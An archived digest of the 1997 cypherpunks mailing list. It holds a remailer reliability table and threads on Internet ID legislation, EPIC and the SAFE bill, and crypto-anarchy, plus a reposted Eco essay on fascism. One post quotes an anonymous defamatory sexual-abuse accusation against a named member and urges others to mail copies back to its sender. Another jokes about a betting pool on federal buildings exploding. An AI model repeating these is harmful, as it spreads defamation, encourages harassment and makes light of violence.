lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 2 Jun 97 6:45:35 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              ########-##*    27:13 100.00%
jam      remailer@cypherpunks.ca          ************    10:49  99.96%
winsock  winsock@rigel.cyberpass.net      -+------+---  4:03:03  99.93%
weasel   config@weasel.owl.de             ++-++++++++   1:51:36  99.91%
squirrel mix@squirrel.owl.de              ++-+++++-++   1:52:02  99.87%
cyber    alias@alias.cyberpass.net        +* *++******    13:57  99.86%
replay   remailer@replay.com              ****** *****    11:57  99.75%
mix      mixmaster@remail.obscura.com     -.---***.-    7:32:07  96.99%
lucifer  lucifer@dhp.com                  ++-+++++++      49:21  95.54%
reno     middleman@cyberpass.net          ++-   --+--+  1:44:06  90.54%
balls    remailer@huge.cajones.com        #*####*###       1:27  82.42%
nym      config@nym.alias.net              *#***           3:02  37.19%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 2 Jun 1997 23:04:39 +0800
To: shamrock@netcom.com
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
Message-ID: <199706021447.HAA19930@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green writes:
> 
> At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote:
> >Great plan. I'll watch TV and let Congress pass a bill
> >requiring mandatory identification for Internet users.
> >Really clever.
> 
> First of all, such a bill will be passed regardless of what you or anyone
> else does. The only question is when. You may be able to delay passing of
> this bill for a few years, perhaps even a few decades, but pass it will.
> 
> So let us turn to the more relevant question: is it better for such bill to
> pass now or ten years from now? It may seem obvious that the answer is "ten
> years from now", but I feel that it not nearly as obvious as it seems and
> in fact may even not be correct.
> 
> Ten years and a few Sarin attacks on American subways and other Reichstag
> Fires later, such a bill will pass with the full backing of Joe Sixpack and
> Jill Soccer Mom. The passing will be a formality.
> 
> If, however, Congress was to pass such a bill now or in the very near
> future, the population would recognize the law for what it is: yet another
> fascist powergrab. Which in turn might trigger the exercise of certain
> recall provisions available to the citizens of the US thanks to the Bill of
> Right.
> 
> It is up to each of us to decide which of these two possible futures is
> "better".

If those were the only two futures, you'd be right.

However it's more likely that if an 'Internet drivers license' bill
passed next week, Joe and Jill wouldn't care.  They're not on the Net
anyhow, and they already know (by reading _Time_ and watching TV)
that the Net is full of hackers and porn.  An Internet Drivers License
would help authorities crack down on hackers, or so the tv would
tell Jack and Jill (and they'd beleive it).

In addition, few people care about anonymity.  Jack and Jill certainly dont.
Try explaining why net users should be allowed to be anonymous to
someone who barely understands the net.  Like your parents for example.


If an 'Internet drivers license' bill passed next week, it'd take at
least a year to get it repealed (probably much longer).  During
that time, if the government wished to do so, it could stage any
number of provocative acts, blame them on 'Internet Terrorists', then
get James Kallstron on tv to announce that the 'Terrorists' have been
caught via their Internet Drivers Licenses.  


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 21:20:08 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <v03020912afb86ede5487@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 pm -0400 on 6/1/97, Declan McCullagh wrote:


> until Marc started yelling about libertarians being "Pod People," or at
> least possessing similar critical thinking skills. :)

Same as it ever was.

It's a common rhetorical device used by totalitarian fellow-travellers
everywhere. Call something its opposite and destroy its objective meaning
in the process.

Orwell's "Freedom is Slavery" line is the best example I can think of.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 00:58:50 +0800
To: rotenberg@epic.org
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <v03102800afb8a1339822@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:14 AM -0700 6/2/97, Michael Froomkin wrote:
>I don't understand this.  Of all the alphabet soup privacy groups out
>there, EPIC is the one I consider most pro-privacy and anonymity other
>than the ACLU itself.  And EPIC knows the tech better, on the whole
>(although the ACLU is quite clued-up too).  It is true that EPIC is not
>absolutist on SAFE -- and I'm not quite sure that they are right to give
>even the inch they gave to get a mile -- but they're awfully good.
>
>Rotenburg should be a near-hero to most readers of this list.  Instead,
>canabalism.   Weird.  Very weird.
>
>That does it.  When I get back to the US, I'm sending EPIC a donation.

Cannibalism? You overstate the level of crititcism here.

Granted, my initial thread title, "Rotenberg as the Uber Enemy," was
provocative...deliberately so. Provocative titles get attention (yes, I
congratulate Rotenberg on choosing the current thread title!).

When a leading privacy spokesman makes soothing noises on CNN about the
need to control spam by looking into how spammers gather their information,
and when CDT, EPIC, etc., have still not withdrawn their support for SAFE
despite the "use a cipher, go to prison" language, they deserve our
criticism. (In fact, CDT's latest press release on the status of SAFE makes
not a single mention of the criminalization of crypto language.)

EPIC is not being singled out for especially harsh criticism, at least not
by me. I would reserve worse criticism for CDT. (Yes, I said that EFF is
fucked up. So sue me. Fact is, EFF is a shadow of its former self, and is
missing in action on this and most other leglislative debates. Yes, I was
once a dues-paying member of the EFF, back when they were active. At least
in legislative areas, that is. All of the alphabet soupers are doing nice
work on court cases, e.g., CDA, Bernstein, etc., but the focus of the
discussion here is on SAFE and the Internet regulation proposals, not on
their lawyers.)

Frankly, we've got the alphabet soup of privacy orgs in D.C. working on
various compromises, and almost no strong voices in opposition. Or at least
the strong voices in opposition are not being quoted. Certainly neither
Cato nor the Libertarian Party are being heard widely on the SAFE and
anti-spam issues.

(I attribute this at least partly to lack of presence in D.C., lack of a
machine to crank out press releases, lack of shmoozing with the reporters.
A reporter asked me in e-mail for a comment on SAFE; she wanted to know who
I was and what my affiliation was. I told her I had no affiliation, that I
was just a guy out in Calfornia. She may have been expecting "Policy
Director, Center for Cyberspatial Liberty Studies," or somesuch. She never
got back to me. I surmise journalists and others are hung up on
officious-sounding titles, which is why every lobbyist in D.C. is either a
Policy Director or a President of something.)

In my article/rant last night I outlined why these legislative juggernauts
are rolling across America. I regret that EPIC, EFF, CDT, etc., are not
doing more to oppose them.

For my part, I'll donate to Bell's defense fund long before I'll donate to
one of the alphabet soup.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 00:52:46 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <86523747331750@cs26.cs.auckland.ac.nz>
Message-ID: <v03102801afb8a60abb53@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:44 PM -0700 6/2/97, Peter Gutmann wrote:
>Death rays from Mars made Tim May <tcmay@got.net> write:
>
>>There's a way to generate a number for any person which is unique. It is not
>>shared by anyone else on the planet.
>
>It's not guaranteed unique.  First, the dollar you use may be a forgery (why
>forge a dollar?  I don't know, maybe they're practicing on low-denomination

Sure, these are all possible protocol failures. (Likewise, one could use
the number but not destroy the bill and instead pass it on, thus producing
collisions.)

Assuming the bill is not a forgery...not terribly hard to confirm,
especially if given the time likely to plan for execution of the
protocol--and assuming one follows the protocol....

(Note: costs of forgery are real. Fibers in the paper, the paper itself,
etc. I doubt it would be economical for a forger to enter the dollar bill
market. Maybe specifically to spoof the protocol, but that is guarded
against in the expected ways, e.g., by picking from a large pool of bills
at, say, a flea market or other business, by choosing a well-worn bill,
etc. Neither information-theoretically nor cryptographically secure, to be
sure, but "agorically secure," to coin a phrase.)

>somewhere).  Does the US Treasury issue replacement notes if the originals
>are
>damaged in printing, or does it just destroy the notes and leave it at that?

Don't know.

But certainly a dollar bill burned up as part of this protocol is unknown
to them, and would of course never be reprinted (print runs are obviously
done in large batches, with auto-indexing of numbers across sheets, so
"one-offs" would never be done anyway).

--Tim May



>
>Peter.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 21:40:37 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net>
Message-ID: <Pine.LNX.3.91.970602095914.574A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 5.  Social Security number

> Why does the store need my social security number for me to purchase soft 
> drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.  
> If I provide a false number, I have probably committed some crime.
> Yes, I would support a law that forbids private companies to ask for social 
> security numbers except for tax purposes.

The store is someones property. Whether it is part of a large Plc, a 
limited company, a sole trader etc. there is someone who owns 
that store. They decide what the fuck happens on their own property. 

If customers stop shopping there most stores, through the simple need for 
economic survival, will change their practices to attract customers. 

It is no business of yours if the store asks for your sexual orientation 
before they sell you a pack of butts, if you don`t like it, walk out. 

For fucks sake, do you understand nothing of basic theory?

I have long been slandering and bemoaning the current state of the 
various EFFs/ACLU/PI/CSPR type organisations as they have clearly sold 
out, and, as is obvious from the post quoted above, most don`t even have 
a clue what they are talking about.

Marc, you are doing more harm than good, go and read some basic books and 
get an understanding of the notion of private property and non-agression, 
then I will bother to respond properly to any well stated point.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 22:44:04 +0800
To: cypherpunks@toad.com
Subject: Australian explosion explained...
Message-ID: <v0302091dafb87d35b2e4@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


>
>                            S P A C E V I E W S
>                          Volume Year 1997, Issue 6
> 				 June 1997
>                    http://www.seds.org/spaceviews/9706/

<snip>


> Things That Go Boom in the Night: Scientists working for the National
> Science Foundation have concluded that a peculiar, loud explosion heard
> in the Australian outback in September 1993 was just a meteorite, and
> not evidence of terrorist activity. The explosion seemed to be located
> near a ranch owned by Aum Shinrikyo, a Japanese cult linked to the
> gassing of the Tokyo subway system in 1995 that injured thousands of
> morning commuters. The cult was reported interested in developing
> nuclear weapons and was mining uranium in the area.  However, seismic
> data recorded during the event are better explained by a small iron
> meteorite crashing to Earth.  The meteorite explanation also fits well
> with reports of a bright streak seen in the sky at the time of the
> explosion.


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Date: Tue, 3 Jun 1997 01:53:22 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <v030209f4afb5cb93e95a@[139.167.130.247]>
Message-ID: <v03102803afb8af25877d@[17.203.21.78]>
MIME-Version: 1.0
Content-Type: text/plain



>And I could see no significant changes in going from System 7.1.3 to
>7.5.3..
>
>Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
>pass on this for now.

I agree,It's mostly bugfixes, But Tim, why can't you get it...
Apple's MacOS team grew from 6 people in the 7.5.3 days to about 100 in the
7.6 8.0 release.. there are many bugfixes and performace enhancements in
the 7.6 release.. and yes you should use Opentranport (at least 1.1.1 or
1.2)

>.the Mac OS is of course still missing basic OS features such as... memory
>>protection.)


Tim,.I am suprised to hear you whining with such a liberals voice..  I
always thought that  demanding memory protection in an OS  is a lot like
demanding that the government is responsible for protecting you from
anything that might go bad.. If applications are well written, then you
really dont need the memory partitions in a personal computer.

 That is if application writers would take responsibility for thier own
apps... But I guess you are right.  "something must be done about those
badly written applications" ..maybe we should pass a new law, it  can be
called the  "Fineswine-May Memory Protection Act" ... maybe you should
start drafting it now..

But until then Tim, you can always run mkLinux.. but I think you just
really like to complain.


Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
------------------
"And someone said Hey man did ya see that?
   His body hit the street with such a beautiful thud..
I wonder if he knew what he was getting into...
  Or was he just lost in the flood?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 3 Jun 1997 01:08:39 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Firewalls
In-Reply-To: <199706020614.CAA28437@dhp.com>
Message-ID: <Pine.A41.3.95.970602104503.44996A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[retin] May prefers to have sex with little kids because his own 
> penis is like that of a three-year-old.
> 
>               ____
>             _(____)_
>        _ooO_(_o__o_)_Ooo_ Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 2 Jun 1997 23:26:03 +0800
To: cypherpunks@toad.com
Subject: May-Rotenberg Are Not the Uber Enemy
Message-ID: <1.5.4.32.19970602144902.0091c4a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


To escalate the May-Rotenberg debate by reminding that there 
are deadly enemies to be exposed and fought together rather
than apart:

To: deleuze-guattari@jefferson.village.Virginia.edu>
Date: Sun, 1 Jun 1997 18:15:58 -0400 (EDT)
From: Tom Maria Blancato <tblan@telerama.lm.com>


Fourteen Ways of Looking at a Blackshirt

Umberto Eco, New York Review of Books, excerpted with permission 
in the Utne Reader, Nov./Dec. 1995, no. 72, pps. 57-59

In spite of some fuzziness regarding the difference between various 
historical forms of fascism, I think it is possible to outline a 
list of features that are typical of what I wold like to call 
Ur-Fascism, or eternal Fascism. These features cannot be organized 
into a system; many of them contradict each other, and are also 
typical of other kinds of despotism or fanaticism. But it is enough 
that one of them be present to allow fascism to coagulate around it.

1.

The first feature of Ur-Fascism is the *cult of tradition*. 
Traditionalism is of course much older than fascism. Not only was it 
typical of counterrevolutionary Catholic thought after the French 
revolution, but it was born in the late Hellenistic era, as a reaction 
to classical Greek rationalism. In the Mediterranean basin, people of 
different religions (most of the faiths indulgently accepted by the 
Roman pantheon) started dreaming of a reelation received at the dawn 
of human history. This reelation, according to the traditionalist 
mystique, had remained for a long time concealed under the veil of 
forgotten languages -- in Egyptian hieroglyphs, in the Celtic runes, 
in the scrolls of the little-known religions of Asia.

This new culture had to be *syncretistic*. Syncreticism is not only , 
as the dictionary says, "the combination of different forms of belief 
or practice"; such a combination must tolerate contradictions. Each 
of the original messages contains a sliver of wisdom, and although 
they seem to say different or incompatible things, they all are 
nevertheless alluding, allegorically, to the same primeval truth.

As a consequence, there can be no advancement of learning. Truth 
already has been spelled out once and for all, and we can only keep 
interpreting its obscure message.

If you browse in the shelves that, in American bookstores, are labeled 
New Age, you can find there even Saint Augustine, who, as far as I know, 
was not a fascist. But combining Saint Augustine and Stonehenge -- that 
is a symptom of Ur-Fascism.

2.

Traditionalism implies the *rejection of modernism*. Both Fascist and 
Nazis worshiped technology, while traditionalist thinkers usually reject 
it as a negation of traditional spiritual values. However, even though 
Nazism was proud of its industrial achievements, its praise of modernism 
was only the surface of an ideology based upon blood and earth (*Blut und 
Boden*). The rejection of the modern world was disguised as a rebuttal of 
the capitalistic way of life. The Enlightenment, the Age of Reason, is 
seen as the beginning of modern depravity. In this sense Ur-Fascism can 
be defined as *irrationalism*.

3. 

Irrationalism also depends on the cult of *action for action's sake*. 
Action being beautiful in itself, it must be taken before, or without, 
reflection. Thinking is a form of emasculation. Therefore culture is 
suspect insofar as it is identified with critical attitudes. Distrust 
of the intellectual world has always been a symptom of Ur_Fascism, 
from Hermann Goering's fondness for a phrase from a Hanns Johst play 
("When I hear the word 'culture' I reach for my gun") to the frequent 
use of such expressions as "degenerate intellectuals," "eggheads," 
"effete snobs," and "universities are nests of reds."  The official 
Fascist intellectuals were mainly engaged in attacking modern culture 
and the liberal intelligensia for having betrayed traditional values.

4. 

The critical spirit makes distinctions, and to distinguish is a sign 
of modernism. In modern culture the scientific community praises 
disagreement as a way to improve knowledge. for Ur-Fascism, 
*disagreement is treason*. 

5.

Besides, disagreement is a sign of diversity. Ur-Fascism grows up and 
seeks consensus by exploiting and exacerbating the natural *fear of 
difference*. The first appeal of a fascist or prematurely fascist 
movement is an appeal against the intruders. Thus Ur-Fascism is racist 
by definition.

6.

Ur-Fascism derives from individual or social frustration. that is why 
one of the most typical features of this historical fascism was the 
*appeal to a frustrated middle class*, a class suffering from an 
economic crisis or feelings of political humiliation, and frightened 
by the pressure of lower social groups. In our time, when the old 
"proletarians" are becoming petty bourgeois (and the lumpen are 
largely excluded from the political scene), the fascism of tomorrow 
will find its audience in this new majority.

7. 

To people who feel deprived of a clear social identity, Ur-Fascism 
says that their only privilege is the most common one, to be born in 
the same country. This is the origin of nationalism. Besides, the only 
ones who can provide an identity to the nation are its enemies. Thus 
at the root of the Ur_fascist psychology there is the *obsession with 
a plot*, possibly an international one. The followers must feel 
besieged. The easiest way to solve the plot is to appeal to xenophobia. 
But the plot must come from he inside. Jews are usually the best target 
because they have the advantage of being at the same time inside and 
outside. In the United States, a prominent instance of the plot 
obsession is to be found in Pat Robertson's *The New World Order*, 
but, as we have recently seen, there are many others.

8.

The followers must feel *humiliated by the ostentatious wealth and 
force of their enemies*. When I was a boy I was taught to think of 
Englishmen as the five-meal people. They ate more frequently than the 
poor but sober Italians. Jews are rich and help each other through a 
secret web of mutual assistance. However, the followers of Ur_Fascism 
must also be convinced that they can overwhelm the enemies. Thus, by 
a continuous shifting of rhetorical focus, the enemies are at the same 
time too strong and too weak. Fascist governments are condemned to 
lose wars because they are constitutionally incapable of objectively 
evaluating the force of the enemy.

9.

For Ur-Fascism there is no struggle for life but, rather, life is 
lived for struggle. Thus *pacifism is trafficking with the enemy*. 
This is bad because *life is permanent warfare*. This, however, brings 
about an Armageddon complex. Since enemies have to be defeated, there 
must be a final battle, after which the movement will have control of 
the world. But such a "final solution" implies a further era of peace, 
a Golden Age, which contradicts the principle of permanent war. No 
fascist leader has ever succeeded in solving this predicament.

10.

Elitism is a typical aspect of any reactionary ideology, insofar as it 
is fundamentally aristocratic, and aristocratic and militaristic 
elitism cruelly implies *contempt for the weak*. Ur-Fascism can only 
advocate a popular elitism. Every citizen belongs to the best people 
of the world, the member of the party are the best among the citizens, 
every citizen can (or ought to) become a member of the party. But there 
cannot be patricians without plebeians. In fact, the Leader, knowing 
that his power was not delegated to him democratically but was 
conquered by force, also knows that his force is based upon the 
weakness of the masses; they are so weak as to need and deserve a 
ruler.

11.

In such a perspective *everybody is educated to become a hero*. In 
every mythology the hero is an exceptional being, but in Ur-Fascist 
ideology heroism is the norm. This cult of heroism is strictly linked 
with the cult of death. It is not by chance that a motto of the 
Spanish Falangist was *Viva la Muerte* ("Long Live Death!"). In 
nonfascist societies, the lay public is told that death is 
unpleasant but must be faced with dignity; believers are told that 
it is the painful way to reach a supernatural happiness. By contrast, 
the Ur-Fascist hero craves heroic death, advertised as the best 
reward for a heroic life. The Ur-Fascist hero is impatient to die. 
In his impatience, he more frequently sends other people to death.

12.

Since both permanent war and heroism are difficult games to play, 
*the Ur-Fascist transfers his will to power to sexual matters*. This 
is the origin of machismo (which implies both disdain for women and 
intolerance and condemnation of nonstandard sexual habits, from 
chastity to homosexuality). Since even sex is a difficult game to 
play, the Ur_Fascist hero tends to play with the weapons -- doing 
so becomes an ersatz phallic exercise.

13.

Ur-Fascism is based upon a *selective populism*, a qualitative 
populism, one might say.  In a democracy, the citizens have 
individual rights, but the citizens in their entirety have a 
political impact only from a quantitative point of view -- one 
follows the decisions of the majority.  For Ur-Fascism, however, 
the individuals as individuals have no rights, and the People is 
conceived as a quality, a monolithic entity expressing the 
Common will. Since no large quantity of human beings can have a 
common will, the Leader pretends to be their interpreter. Having 
lost their power of delegation, citizens do not act; they are only 
called on to play the role of the People. Thus the People is only 
a theatrical fiction. there is in our future a TV or Internet 
populism, in which the emotional responses of a selected group 
of citizens can be presented and accepted as the Voice of the 
People.

Because of its qualitative populism, Ur-Fascism must be *against 
"rotten" parliamentary governments*.  Wherever a politician casts 
doubt on the legitimacy of a parliament because it no longer 
represents the Voice of the People, we can smell Ur-Fascism.

14.

*Ur-Fascism speaks Newspeak*. Newspeak was invented by Orwell, in 
_1984_, as the official language of what he called Insoc, English 
Socialism. But elements of Ur-Fascism are common to different 
forms of dictatorship. All the Nazi or Fascist schoolbooks made 
use of an impoverished vocabulary, and an elementary syntax, in 
order to limit the instruments for complex and critical reasoning. 
But we must be ready to identify other kinds of Newspeak, even if 
they take the apparently innocent form of a popular talk show.

Ur-Fascism is still around us, sometimes in plainclothes. It 
would be so much easier for us if there appeared on the world 
scene somebody saying, "I want to reopen Auschwitz, I want the 
blackshirts to parade again in the Italian squares." Life is not 
that simple. Ur-Fascism can come back under the most innocent of 
disguises. Our duty is to uncover it and to point our finger at 
any of its new instances -- ever day, in every part of the world. 
Franklin Roosevelt's words on November 4, 1938, are worth 
recalling: "If American democracy ceases to move forward as a 
living force, seeking day and night by peaceful means to better 
the lot of our citizens, facism will grow in strength in our 
land." Freedom and liberation are an unending task.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 02:26:03 +0800
To: Michael Froomkin <rotenberg@epic.org
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/enriched

At 12:14 PM 6/2/97 BST, Michael Froomkin wrote:
>Rotenburg should be a near-hero to most readers of this list.   Instead,
>canabalism.   Weird.  Very weird.

Michael,

You need to realize that Cypherpunks transitionally has been about the *elimination* of all governments. Cypherpunks' goal is called crypto-anarchy for a reason. In fact, for Cypherpunks cryptography is simply an exceptionally effective tool to achieve anarchy. The governments share the belief that wide spread use of crypto will possibly lead to anarchy, which is why they attempt to limit its use. The rest is smoke and mirrors and statements by people that fail to understand that the whole crypto issue is about anarchy and not about math.

Anarchy can not be achieved by negotiations or cooperation with any branch of government. Neither can crypto-anarchy be achieved by nuking DC.

I certainly can understand the reasons that would lead a person to start
thinking that "something is better than nothing" or "the bastards need to receive the punishment they so richly deserve". Neither view will help to further crypto-anarchy in any meaningful way.

Have fun,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

Put a stake through the heart of DES! Join the quest at       http://www.frii.com/~rcv/deschall.htm



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Froomkin <Michael@lawprof.demon.co.uk>
Date: Mon, 2 Jun 1997 19:56:55 +0800
To: rotenberg@epic.org
Subject: Re: May's Banal Rant
Message-ID: <6333@lawprof.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


I don't understand this.  Of all the alphabet soup privacy groups out
there, EPIC is the one I consider most pro-privacy and anonymity other
than the ACLU itself.  And EPIC knows the tech better, on the whole
(although the ACLU is quite clued-up too).  It is true that EPIC is not
absolutist on SAFE -- and I'm not quite sure that they are right to give
even the inch they gave to get a mile -- but they're awfully good.

Rotenburg should be a near-hero to most readers of this list.  Instead,
canabalism.   Weird.  Very weird.

That does it.  When I get back to the US, I'm sending EPIC a donation.
-- 
Michael Froomkin                  until 6/11: michael@lawprof.demon.co.uk
Associate Professor of Law                        Various Points, England
froomkin@law.miami.edu <-- this will still find me, eventually
PO Box 248087 Coral Gables, FL 33124-8087 "Rain in parts, then dry" --BBC
http://www.law.miami.edu/~froomkin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 04:31:31 +0800
To: cypherpunks@toad.com
Subject: Guilty Verdict in Denver Show Trial
Message-ID: <199706021939.MAA09926@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Guilty on all 11 counts, of course. 

Of course, once you eliminate the testimony coerced by holding witnesses
for days and threatening them with the death penalty, the "bomb residue"
invented by the FBI Crime Lab, and numerous other things, nothing even
places the defendent at the site of the explosion, much less proves he was
responsible for it. 

Of course, to have the correct psychological effect on the Sheeple, it is
not necessary that the government convict and execute the prepetrator. 
Killing any government-hating militia-friendly scapegoat will do. 

For extra credit, let's have a pool to predict the number of federal
buildings which will blow up on the day of the execution. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:45:13 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102806afb8d1b8fe50@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


A member of the Cypherpunks list, who sometimes contributes articles to the
list, engaged several of us in a discussion of some topics. He requested
that we respect his desire not to have his opinions published, which I am
honoring.

However, some interesting topics were raised, and I spent a couple of hours
responding. Rather than letting the points drop into the black hole of such
sublists, I will post my responses here, editing out all references to his
identity.

Things would be so much easier if he'd just post his views to the list. I
surmise that his reasons for not posting have less to do with not wanting
to be associated with my views, as if that is possible in a free society,
